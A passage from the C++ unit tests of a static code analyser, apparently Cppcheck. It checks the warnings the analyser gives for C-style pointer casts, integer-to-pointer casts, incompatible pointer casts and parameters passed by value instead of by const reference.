\"class B\\n\"\n \"{ virtual G* createGui(S*, C*) const = 0; };\\n\"\n \"\\n\"\n \"class MS : public M\\n\"\n \"{ virtual void addController(C*) override {} };\", Standards::CPP03);\n ASSERT_EQUALS(\"\", errout_str());\n\n // #6164\n checkOldStylePointerCast(\"class Base {};\\n\"\n \"class Derived: public Base {};\\n\"\n \"void testCC() {\\n\"\n \" std::vector v;\\n\"\n \" v.push_back((Base*)new Derived);\\n\"\n \"}\");\n // FIXME write a dangerousTypeCast warning instead\n ASSERT_EQUALS(\"[test.cpp:5:15]: (style) C-style pointer casting [cstyleCast]\\n\", errout_str());\n\n // #7709\n checkOldStylePointerCast(\"typedef struct S S;\\n\"\n \"typedef struct S SS;\\n\"\n \"typedef class C C;\\n\"\n \"typedef long LONG;\\n\"\n \"typedef long* LONGP;\\n\"\n \"struct T {};\\n\"\n \"typedef struct T TT;\\n\"\n \"typedef struct T2 {} TT2;\\n\"\n \"void f(int* i) {\\n\"\n \" S* s = (S*)i;\\n\"\n \" SS* ss = (SS*)i;\\n\"\n \" struct S2* s2 = (struct S2*)i;\\n\"\n \" C* c = (C*)i;\\n\"\n \" class C2* c2 = (class C2*)i;\\n\"\n \" long* l = (long*)i;\\n\"\n \" LONG* l2 = (LONG*)i;\\n\"\n \" LONGP l3 = (LONGP)i;\\n\"\n \" TT* tt = (TT*)i;\\n\"\n \" TT2* tt2 = (TT2*)i;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:10:12]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\"\n \"[test.cpp:11:14]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\"\n \"[test.cpp:12:21]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\"\n \"[test.cpp:13:12]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\"\n \"[test.cpp:14:20]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\"\n \"[test.cpp:15:15]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\"\n \"[test.cpp:16:16]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\"\n \"[test.cpp:17:16]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\"\n \"[test.cpp:18:14]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\"\n \"[test.cpp:19:16]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\",\n errout_str());\n\n // #8649\n checkOldStylePointerCast(\"struct S {};\\n\"\n \"void g(S*& s);\\n\"\n \"void f(uintptr_t i) {\\n\"\n \" g((S*&)i);\\n\"\n \" S*& r = (S*&)i;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:7]: (style) C-style pointer casting [cstyleCast]\\n\"\n \"[test.cpp:5:13]: (style) C-style pointer casting [cstyleCast]\\n\",\n errout_str());\n\n checkOldStylePointerCast(\"struct S {};\\n\"\n \"void g(S*& s);\\n\"\n \"void f(uint8_t i) {\\n\"\n \" g((S*&)i);\\n\"\n \" S*& r = (S*&)i;\\n\"\n \"}\\n\");\n // TODO: these conversions are dangerous, but it's a different issue not covered by cstyleCast. A separate checker can be added which is executed for both C and C++ code.\n // clang says: 1.cpp:5:18: warning: cast to 'unsigned char *' from smaller integer type 'uint8_t' (aka 'unsigned char') [-Wint-to-pointer-cast]\n ASSERT_EQUALS(\"[test.cpp:4:7]: (style) C-style pointer casting [cstyleCast]\\n\"\n \"[test.cpp:5:13]: (style) C-style pointer casting [cstyleCast]\\n\", errout_str());\n\n // #10823\n checkOldStylePointerCast(\"void f(void* p) {\\n\"\n \" auto h = reinterpret_cast(p);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #5210\n checkOldStylePointerCast(\"class Base {};\\n\"\n \"class Derived: public Base {};\\n\"\n \"void f(Base** b1, Base*** b2) {\\n\"\n \" Derived** p1 = (Derived**)b1;\\n\"\n \" Derived*** p2 = (Derived***)b2;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:20]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\"\n \"[test.cpp:5:21]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\",\n errout_str());\n\n // #12446\n checkOldStylePointerCast(\"namespace N { struct S {}; }\\n\"\n \"union U {\\n\"\n \" int i;\\n\"\n \" char c[4];\\n\"\n \"};\\n\"\n \"void f(void* p) {\\n\"\n \" auto ps = (N::S*)p;\\n\"\n \" auto pu = (union U*)p;\\n\"\n \" auto pv = (std::vector*)(p);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:7:15]: (style) C-style pointer casting [cstyleCast]\\n\"\n \"[test.cpp:8:15]: (style) C-style pointer casting [cstyleCast]\\n\"\n \"[test.cpp:9:15]: (style) C-style pointer casting [cstyleCast]\\n\", errout_str());\n\n // #12447\n checkOldStylePointerCast(\"class Base {};\\n\"\n \"class Derived: public Base {};\\n\"\n \"void f(const Base& base) {\\n\"\n \" d = (const Derived&)base;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:7]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\", errout_str());\n\n // #11430\n checkOldStylePointerCast(\"struct B {\\n\"\n \" float* data() const;\\n\"\n \"};\\n\"\n \"namespace N {\\n\"\n \" bool f(float* v);\\n\"\n \"}\\n\"\n \"bool g(B& b) {\\n\"\n \" using float_ptr = float*;\\n\"\n \" return N::f(float_ptr(b.data()));\\n\" // <- the cast is safe\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:9:17]: (style) C-style pointer casting [cstyleCast]\\n\", errout_str());\n }\n\n#define checkIntToPointerCast(...) checkIntToPointerCast_(__FILE__, __LINE__, __VA_ARGS__)\n template\n void checkIntToPointerCast_(const char* file, int line, const char (&code)[size]) {\n\n const Settings settings = settingsBuilder().severity(Severity::portability).build();\n\n // Tokenize..\n SimpleTokenizer tokenizerCpp(settings, *this);\n ASSERT_LOC(tokenizerCpp.tokenize(code), file, line);\n\n CheckOther checkOtherCpp(&tokenizerCpp, &settings, this);\n checkOtherCpp.warningIntToPointerCast();\n }\n\n void intToPointerCast() {\n // #3630\n checkIntToPointerCast(\"uint8_t* ptr = (uint8_t*)7;\");\n ASSERT_EQUALS(\"[test.cpp:1:16]: (portability) Casting non-zero decimal integer literal to pointer. [intToPointerCast]\\n\", errout_str());\n\n checkIntToPointerCast(\"void* ptr = (void*)7;\");\n ASSERT_EQUALS(\"[test.cpp:1:13]: (portability) Casting non-zero decimal integer literal to pointer. [intToPointerCast]\\n\", errout_str());\n\n checkIntToPointerCast(\"uint8_t* ptr = (uint8_t*)0;\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkIntToPointerCast(\"uint8_t* ptr = (uint8_t*)0x7000;\"); // <- it's common in embedded code to cast address\n ASSERT_EQUALS(\"\", errout_str());\n\n checkIntToPointerCast(\"struct S { int i; };\\n\" // #13886, don't crash\n \"int f() { return sizeof(((struct S*)0)->i); }\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n#define checkInvalidPointerCast(...) checkInvalidPointerCast_(__FILE__, __LINE__, __VA_ARGS__)\n template\n void checkInvalidPointerCast_(const char* file, int line, const char (&code)[size], bool portability = true, bool inconclusive = false) {\n /*const*/ Settings settings = settingsBuilder().severity(Severity::warning).severity(Severity::portability, portability).certainty(Certainty::inconclusive, inconclusive).build();\n settings.platform.defaultSign = 's';\n\n // Tokenize..\n SimpleTokenizer tokenizer(settings, *this);\n ASSERT_LOC(tokenizer.tokenize(code), file, line);\n\n CheckOther checkOtherCpp(&tokenizer, &settings, this);\n checkOtherCpp.invalidPointerCast();\n }\n\n\n void invalidPointerCast() {\n checkInvalidPointerCast(\"void test() {\\n\"\n \" float *f = new float[10];\\n\"\n \" delete [] (double*)f;\\n\"\n \" delete [] (long double const*)(new float[10]);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:15]: (portability) Casting between float * and double * which have an incompatible binary data representation. [invalidPointerCast]\\n\"\n \"[test.cpp:4:15]: (portability) Casting between float * and const long double * which have an incompatible binary data representation. [invalidPointerCast]\\n\", errout_str());\n\n checkInvalidPointerCast(\"void test(const float* f) {\\n\"\n \" double *d = (double*)f;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:17]: (portability) Casting between const float * and double * which have an incompatible binary data representation. [invalidPointerCast]\\n\", errout_str());\n\n checkInvalidPointerCast(\"void test(double* d1) {\\n\"\n \" long double *ld = (long double*)d1;\\n\"\n \" double *d2 = (double*)ld;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:23]: (portability) Casting between double * and long double * which have an incompatible binary data representation. [invalidPointerCast]\\n\"\n \"[test.cpp:3:18]: (portability) Casting between long double * and double * which have an incompatible binary data representation. [invalidPointerCast]\\n\", errout_str());\n\n checkInvalidPointerCast(\"char* test(int* i) {\\n\"\n \" long double *d = (long double*)(i);\\n\"\n \" double *d = (double*)(i);\\n\"\n \" float *f = reinterpret_cast(i);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:22]: (portability) Casting between signed int * and long double * which have an incompatible binary data representation. [invalidPointerCast]\\n\"\n \"[test.cpp:3:17]: (portability) Casting between signed int * and double * which have an incompatible binary data representation. [invalidPointerCast]\\n\"\n \"[test.cpp:4:16]: (portability) Casting between signed int * and float * which have an incompatible binary data representation. [invalidPointerCast]\\n\", errout_str());\n\n checkInvalidPointerCast(\"float* test(unsigned int* i) {\\n\"\n \" return (float*)i;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:12]: (portability) Casting between unsigned int * and float * which have an incompatible binary data representation. [invalidPointerCast]\\n\", errout_str());\n\n checkInvalidPointerCast(\"float* test(unsigned int* i) {\\n\"\n \" return (float*)i[0];\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInvalidPointerCast(\"float* test(double& d) {\\n\"\n \" return (float*)&d;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:12]: (portability) Casting between double * and float * which have an incompatible binary data representation. [invalidPointerCast]\\n\", errout_str());\n\n checkInvalidPointerCast(\"void test(float* data) {\\n\"\n \" f.write((char*)data,sizeof(float));\\n\"\n \"}\", true, false);\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInvalidPointerCast(\"void test(float* data) {\\n\"\n \" f.write((char*)data,sizeof(float));\\n\"\n \"}\", true, true); // #3639\n ASSERT_EQUALS(\"[test.cpp:2:13]: (portability, inconclusive) Casting from float * to signed char * is not portable due to different binary data representations on different platforms. [invalidPointerCast]\\n\", errout_str());\n\n\n checkInvalidPointerCast(\"long long* test(float* f) {\\n\"\n \" return (long long*)f;\\n\"\n \"}\", false);\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInvalidPointerCast(\"long long* test(float* f, char* c) {\\n\"\n \" foo((long long*)f);\\n\"\n \" return reinterpret_cast(c);\\n\"\n \"}\", true);\n ASSERT_EQUALS(\"[test.cpp:2:9]: (portability) Casting from float * to signed long long * is not portable due to different binary data representations on different platforms. [invalidPointerCast]\\n\", errout_str());\n\n checkInvalidPointerCast(\"Q_DECLARE_METATYPE(int*)\"); // #4135 - don't crash\n }\n\n\n void passedByValue() {\n check(\"void f(const std::string str) {}\");\n ASSERT_EQUALS(\"[test.cpp:1:26]: (performance) Function parameter 'str' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"void f(std::unique_ptr ptr) {}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const std::shared_ptr ptr) {}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const std::function ptr) {}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n {\n check(\"void f(const std::pair x) {}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const std::pair x) {}\");\n TODO_ASSERT_EQUALS(\"error\", \"\", errout_str());\n }\n\n check(\"void f(const std::string::size_type x) {}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class Foo;\\nvoid f(const Foo foo) {}\"); // Unknown class\n ASSERT_EQUALS(\"[test.cpp:2:18]: (performance, inconclusive) Function parameter 'foo' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"class Foo { std::vector v; };\\nvoid f(const Foo foo) {}\"); // Large class (STL member)\n ASSERT_EQUALS(\"[test.cpp:2:18]: (performance) Function parameter 'foo' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"class Foo { int i; };\\nvoid f(const Foo foo) {}\"); // Small class\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class Foo { int i[6]; };\\nvoid f(const Foo foo) {}\"); // Large class (array)\n ASSERT_EQUALS(\"[test.cpp:2:18]: (performance) Function parameter 'foo' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"class Foo { std::string* s; };\\nvoid f(const Foo foo) {}\"); // Small class (pointer)\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class Foo { static std::string s; };\\nvoid f(const Foo foo) {}\"); // Small class (static member)\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class X { std::string s; }; class Foo : X { };\\nvoid f(const Foo foo) {}\"); // Large class (inherited)\n ASSERT_EQUALS(\"[test.cpp:2:18]: (performance) Function parameter 'foo' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"class X { std::string s; }; class Foo { X x; };\\nvoid f(const Foo foo) {}\"); // Large class (inherited)\n ASSERT_EQUALS(\"[test.cpp:2:18]: (performance) Function parameter 'foo' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"void f(const std::string &str) {}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // The idiomatic way of passing a std::string_view is by value\n check(\"void f(const std::string_view str) {}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::string_view str) {}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const std::string_view &str) {}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const std::vector v) {}\");\n ASSERT_EQUALS(\"[test.cpp:1:31]: (performance) Function parameter 'v' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"void f(const std::vector v) {}\");\n ASSERT_EQUALS(\"[test.cpp:1:39]: (performance) Function parameter 'v' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"void f(const std::vector::size_type s) {}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const std::vector &v) {}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const std::map &v) {}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const std::map v) {}\");\n ASSERT_EQUALS(\"[test.cpp:1:32]: (performance) Function parameter 'v' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"void f(const std::map v) {}\");\n ASSERT_EQUALS(\"[test.cpp:1:48]: (performance) Function parameter 'v' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"void f(const std::map v) {}\");\n ASSERT_EQUALS(\"[test.cpp:1:40]: (performance) Function parameter 'v' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"void f(const std::map v) {}\");\n ASSERT_EQUALS(\"[test.cpp:1:40]: (performance) Function parameter 'v' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"void f(const std::streamoff pos) {}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::initializer_list i) {}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #5824\n check(\"void log(const std::string& file, int line, const std::string& function, const std::string str, ...) {}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #5534\n check(\"struct float3 { };\\n\"\n \"typedef float3 vec;\\n\"\n \"class Plane {\\n\"\n \" vec Refract(vec &vec) const;\\n\"\n \" bool IntersectLinePlane(const vec &planeNormal);\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class X {\\n\"\n \" virtual void func(const std::string str) {}\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:2:41]: (performance) Function parameter 'str' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"enum X;\\n\"\n \"void foo(X x1){}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"enum X { a, b, c };\\n\"\n \"void foo(X x2){}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"enum X { a, b, c };\\n\"\n \"enum X;\"\n \"void foo(X x3){}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"enum X;\\n\"\n \"enum X { a, b, c };\"\n \"void foo(X x4){}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"union U {\\n\"\n \" char* pc;\\n\"\n \" short* ps;\\n\"\n \" int* pi;\\n\"\n \"};\\n\"\n \"void f(U u) {}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S { char A[8][8]; };\\n\"\n \"void f(S s) {}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:10]: (performance) Function parameter 's' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"union U {\\n\" // don't crash\n \" int a;\\n\"\n \" decltype(nullptr) b;\\n\"\n \"};\\n\"\n \"int* f(U u) { return u.b; }\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct B { virtual int f(std::string s) = 0; };\\n\" // #11432\n \"struct D1 : B {\\n\"\n \" int f(std::string s) override { s += 'a'; return s.size(); }\\n\"\n \"}\\n\"\n \"struct D2 : B {\\n\"\n \" int f(std::string s) override { return s.size(); }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int x(int);\\n\"\n \"void f(std::vector v, int& j) {\\n\"\n \" for (int i : v)\\n\"\n \" j = i;\\n\"\n \"}\\n\"\n \"void fn(std::vector v) {\\n\"\n \" for (int& i : v)\\n\"\n \" i = x(i);\\n\"\n \"}\\n\"\n \"void g(std::vector v, int& j) {\\n\"\n \" for (int i = 0; i < v.size(); ++i)\\n\"\n \" j = v[i];\\n\"\n \"}\\n\"\n \"void gn(std::vector v) {\\n\"\n \" for (int i = 0; i < v.size(); ++i)\\n\"\n \" v[i] = x(i);\\n\"\n \"}\\n\"\n \"void h(std::vector> v, int& j) {\\n\"\n \" for (int i = 0; i < v.size(); ++i)\\n\"\n \" j = v[i][0];\\n\"\n \"}\\n\"\n \"void hn(std::vector> v) {\\n\"\n \" for (int i = 0; i < v.size(); ++i)\\n\"\n \" v[i][0] = x(i);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:25]: (performance) Function parameter 'v' should be passed by const reference. [passedByValue]\\n\"\n \"[test.cpp:10:25]: (performance) Function parameter 'v' should be passed by const reference. [passedByValue]\\n\"\n \"[test.cpp:18:38]: (performance) Function parameter 'v' should be passed by const reference. [passedByValue]\\n\",\n errout_str());\n\n check(\"struct S {\\n\" // #11995\n \" explicit S(std::string s) noexcept;\\n\"\n \" std::string m;\\n\"\n \"};\\n\"\n \"S::S(std::string s) noexcept : m(std::move(s)) {}\\n\"\n \"struct T {\\n\"\n \" explicit S(std::string s) noexcept(true);\\n\"\n \" std::string m;\\n\"\n \"};\\n\"\n \"T::T(std::string s) noexcept(true) : m(std::move(s)) {}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"namespace N {\\n\" // #12086\n \" void g(int);\\n\"\n \"}\\n\"\n \"void f(std::vector v) {\\n\"\n \" N::g(v[0]);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:25]: (performance) Function parameter 'v' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"void f(const std::string& s, std::string t) {\\n\" // #12083\n \" const std::string& v = !s.empty() ? s : t;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:1:42]: (performance) Function parameter 't' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n /*const*/ Settings settings0 = settingsBuilder(_settings).platform(Platform::Type::Unix64).build();\n check(\"struct S {\\n\" // #12138\n \" union {\\n\"\n \" int a = 0;\\n\"\n \" int x;\\n\"\n \" };\\n\"\n \" union {\\n\"\n \" int b = 0;\\n\"\n \" int y;\\n\"\n \" };\\n\"\n \" union {\\n\"\n \" int c = 0;\\n\"\n \" int z;\\n\"\n \" };\\n\"\n \"};\\n\"\n \"void f(S s) {\\n\"\n \" if (s.x > s.y) {}\\n\"\n \"}\\n\", /*cpp*/ true, /*inconclusive*/ true, /*runSimpleChecks*/ true, /*verbose*/ false, &settings0);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S { std::list l; };\\n\" // #12147\n \"class C { public: std::list l; };\\n\"\n \"bool f(S s) {\\n\"\n \" return s.l.empty();\\n\"\n \"}\\n\"\n \"bool f(C c) {\\n\"\n \" return c.l.empty();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (performance) Function parameter 's' should be passed by const reference. [passedByValue]\\n\"\n \"[test.cpp:6:10]: (performance) Function parameter 'c' should be passed by const reference. [passedByValue]\\n\",\n errout_str());\n\n check(\"struct S { std::list a[1][1]; };\\n\"\n \"bool f(S s) {\\n\"\n \" return s.a[0][0].empty();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:10]: (performance) Function parameter 's' should be passed by const reference. [passedByValue]\\n\",\n errout_str());\n\n check(\"struct S {\\n\"\n \" enum class E : std::uint8_t { E0 };\\n\"\n \" static void f(S::E e) {\\n\"\n \" if (e == S::E::E0) {}\\n\"\n \" }\\n\"\n \" char a[20];\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const std::vector v[2]);\\n\" // #13052\n \"void g(const std::vector v[2]);\\n\"\n \"void g(const std::vector v[2]) {}\\n\"\n \"int h(const std::array, 2> a) { return a[0][0]; }\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:45]: (performance) Function parameter 'a' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"void f(const std::array a[]) {}\\n\"); // #13524\n ASSERT_EQUALS(\"\", errout_str());\n\n /*const*/ Settings settings1 = settingsBuilder().platform(Platform::Type::Win64).build();\n check(\"using ui64 = unsigned __int64;\\n\"\n \"ui64 Test(ui64 one, ui64 two) { return one + two; }\\n\",\n /*cpp*/ true, /*inconclusive*/ true, /*runSimpleChecks*/ true, /*verbose*/ false, &settings1);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void passedByValue_nonConst() {\n check(\"void f(std::string str) {}\");\n ASSERT_EQUALS(\"[test.cpp:1:20]: (performance) Function parameter 'str' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"void f(std::string str) {\\n\"\n \" return str + x;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:20]: (performance) Function parameter 'str' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"void f(std::string str) {\\n\"\n \" std::cout << str;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:20]: (performance) Function parameter 'str' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"void f(std::string str) {\\n\"\n \" std::cin >> str;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::string str) {\\n\"\n \" std::string s2 = str;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:20]: (performance) Function parameter 'str' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"void f(std::string str) {\\n\"\n \" std::string& s2 = str;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:20]: (performance) Function parameter 'str' should be passed by const reference. [passedByValue]\\n\"\n \"[test.cpp:2:18]: (style) Variable 's2' can be declared as reference to const [constVariableReference]\\n\",\n errout_str());\n\n check(\"void f(std::string str) {\\n\"\n \" const std::string& s2 = str;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:20]: (performance) Function parameter 'str' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"void f(std::string str) {\\n\"\n \" str = \\\"\\\";\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::string str) {\\n\"\n \" foo(str);\\n\" // It could be that foo takes str as non-const-reference\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(const std::string& str);\\n\"\n \"void f(std::string str) {\\n\"\n \" foo(str);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:20]: (performance) Function parameter 'str' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"void foo(std::string str);\\n\"\n \"void f(std::string str) {\\n\"\n \" foo(str);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:20]: (performance) Function parameter 'str' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"void foo(std::string& str);\\n\"\n \"void f(std::string str) {\\n\"\n \" foo(str);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(std::string* str);\\n\"\n \"void f(std::string str) {\\n\"\n \" foo(&str);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int& i1, const std::string& str, int& i2);\\n\"\n \"void f(std::string str) {\\n\"\n \" foo((a+b)*c, str, x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:20]: (performance) Function parameter 'str' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"std::string f(std::string str) {\\n\"\n \" str += x;\\n\"\n \" return str;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class X {\\n\"\n \" std::string s;\\n\"\n \" void func() const;\\n\"\n \"};\\n\"\n \"Y f(X x) {\\n\"\n \" x.func();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:7]: (performance) Function parameter 'x' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"class X {\\n\"\n \" void func();\\n\"\n \"};\\n\"\n \"Y f(X x) {\\n\"\n \" x.func();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class X {\\n\"\n \" void func(std::string str) {}\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:2:27]: (performance) Function parameter 'str' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"class X {\\n\"\n \" virtual void func(std::string str) {}\\n\" // Do not warn about virtual functions, if 'str' is not declared as const\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class X {\\n\"\n \" char a[1024];\\n\"\n \"};\\n\"\n \"class Y : X {\\n\"\n \" char b;\\n\"\n \"};\\n\"\n \"void f(Y y) {\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:10]: (performance) Function parameter 'y' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"class X {\\n\"\n \" void* a;\\n\"\n \" void* b;\\n\"\n \"};\\n\"\n \"class Y {\\n\"\n \" void* a;\\n\"\n \" void* b;\\n\"\n \" char c;\\n\"\n \"};\\n\"\n \"void f(X x, Y y) {\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:10:15]: (performance) Function parameter 'y' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n {\n // 8-byte data should be passed by const reference on 32-bit platform but not on 64-bit platform\n const char code[] = \"class X {\\n\"\n \" uint64_t a;\\n\"\n \" uint64_t b;\\n\"\n \"};\\n\"\n \"void f(X x) {}\";\n\n /*const*/ Settings s32 = settingsBuilder(_settings).platform(Platform::Type::Unix32).build();\n check(code, &s32);\n ASSERT_EQUALS(\"[test.cpp:5:10]: (performance) Function parameter 'x' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n /*const*/ Settings s64 = settingsBuilder(_settings).platform(Platform::Type::Unix64).build();\n check(code, &s64);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n check(\"Writer* getWriter();\\n\"\n \"\\n\"\n \"void foo(Buffer& buffer) {\\n\"\n \" getWriter()->operator<<(buffer);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void passedByValue_externC() {\n check(\"struct X { int a[5]; }; void f(X v) { }\");\n ASSERT_EQUALS(\"[test.cpp:1:34]: (performance) Function parameter 'v' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"extern \\\"C\\\" { struct X { int a[5]; }; void f(X v) { } }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct X { int a[5]; }; extern \\\"C\\\" void f(X v) { }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct X { int a[5]; }; void f(const X v);\");\n ASSERT_EQUALS(\"[test.cpp:1:40]: (performance) Function parameter 'v' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"extern \\\"C\\\" { struct X { int a[5]; }; void f(const X v); }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct X { int a[5]; }; extern \\\"C\\\" void f(const X v) { }\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void constVariable() {\n check(\"int f(std::vector x) {\\n\"\n \" 